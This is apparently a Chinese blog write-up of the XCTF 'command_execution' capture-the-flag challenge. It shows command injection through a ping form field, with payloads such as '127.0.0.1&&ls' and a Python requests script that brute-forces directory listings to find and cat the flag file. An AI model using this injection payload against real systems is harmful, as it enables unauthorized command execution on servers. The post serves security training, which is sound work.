CTF 刷题记录(二) command_execution(攻防世界)

题目

在这里插入图片描述

解题分析

进入网站,先ping 127.0.0.1 如图:
在这里插入图片描述
证明输入的指令可以在服务器里运行,然后再试试ls这种基础命令,使用“&&”命令,如图:
在这里插入图片描述
也可以执行。
写一个查询flag文件的脚本

import requests

url = "http://220.249.52.133:30703/"

list = ['bin', 'boot', 'dev', 'etc', 'home', 'lib', 'lib64', 'media', 'mnt', 'opt', 'proc', 'root', 'run', 'run.sh', 'sbin', 'srv', 'sys', 'tmp', 'usr', 'var'] 

for i in list: 

    payload = {"target": "127.0.0.1&&ls ../../../%s" % i}  #查看源代码,发现输入框的id为“target”,在此模拟输入框的功能

    res = requests.post(url, data=payload).text

    if "flag" in res: 

        print("current: ", i)

        break

运行后输出:
在这里插入图片描述
linux系统中的home一般都在根目录下,先查看home目录下都有什么,如下:
在这里插入图片描述
只有一个文件flag.txt
使用cat命令查看其内容:
在这里插入图片描述
bingo !!!

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值